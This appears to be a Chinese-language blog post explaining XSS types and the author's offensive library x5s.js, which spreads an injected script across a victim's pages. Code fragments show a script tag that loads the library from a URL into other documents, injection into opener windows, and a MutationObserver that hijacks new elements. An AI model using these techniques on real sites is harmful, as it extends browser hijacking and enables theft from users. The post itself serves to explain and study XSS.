guest@blog.cmj.tw: ~/posts $

XSS


XSS 102

XSS 的世界很大 目前只發世界迷霧

就分類上來看 XSS 屬於 代碼注入 (Code Injection) 的一種:透過不正確的輸入過濾, 惡意的攻擊者可以將網頁語言 (JavaScript、VBScript 等) 在目標機器 (瀏覽器) 上執行。

XSS 直到某一天發現原來可以打入受害者的 browser (類似遠端控制 RAT ) 之後, 才發現 XSS 可以做到的事情很多。在之前,上面這段描述會讓我感覺受害的範圍僅限於瀏覽當下的網頁, 也就是透過連結點擊之後產生的網頁、瀏覽帶有惡意的指令的內容才會造成嚴重的危害。 受到影響的內容也僅限於當下。但某次的經驗之後才發現,XSS 本身是可能擴散影響範圍的。

就分類上來看,XSS 可以分成:

  • Reflected :透過 HTTP 請求參數進行攻擊。攻擊內容不會儲存在任何地方。
  • Persistent :儲存在 Server、Cookie、Local Storage 而受害者會持續受到攻擊。
  • DOM-based :透過惡意資料影響 DOM 本身的行為。
  • Self-XSS :透過社交工程等受害者自行執行惡意 Script。
  • Mutated XSS :透過 browser 的行為修改 payload 造成的攻擊方式。

根據類似的想法,自己寫了一個 XSS 的攻擊 Library (假設已經可以 XSS 目標)。 目前會持續更新 x5s.js 的函式庫功能

Basic

為了減少跟其他函式庫的相依性,需要把大多數的 JS 功能重新實作並包裝成一個共用函式庫,像是:

  • DOM selector
  • DOM add / remove / insert
  • DOM property setter / getter
  • DOM event listener

Concept 0

為了避免重複劫持相同的物件,當偵測到特定物件的時候就需要停止劫持:

if (!$$("#" + _x5s.id, {}, doc).length) {
  $$.fn.trace("inject X5S " + $$.uuid);
  $$("<script>", {
    id: $$.id,
    src: $$.url,
  }).asChild(hostdom);
}

Concept 1

基本概念 1 - 劫持所有可以劫持的操作。在 x5s 的函式庫當中首先劫持所有 超連結 。對所有的超連結, 替換掉原本的 href 內容改成 javascript:void(0) 並增加新的 click event。為了讓行為一致,只劫持帶有 _blank 屬性的超連結。當新的分頁打開的時候,透過 window.open 來開啟並操作 win 物件, 繼續劫持 / XSS 新開的分頁內容。

Concept 2

基本概念 2 - 劫持有關聯的 window。在 x5s 中劫持相關的 opener ,也就是開啟當下網頁的父頁面。 這樣可以反向劫持相關網頁:

var win = opener;

while (!!win) {
  inject_X5S(win);
  win = win.opener;
}

Concept 3

基本概念 3 - 劫持動態產生物件。在不少前端的情境下物件可以是動態產生的, 因此劫持動態產生的物件也是必要的。透過 MutationObserver 來監聽物件的產生是被推薦的方式, 藉由 childList 以及 characterData 來觀測物件是否改變:

var observ = (this.observ =
  this.observ ||
  new MutationObserver(function (muts) {
    muts.forEach(function (mut) {
      mut.addedNodes.forEach(function (elm) {
        $$.fn.hijack($$(elm));
      });
    });
  }));

dom = dom || $$("body");
dom.forEach(function (elm) {
  observ.observe(elm, {
    attribute: false,
    childList: true,
    characterData: true,
  });
});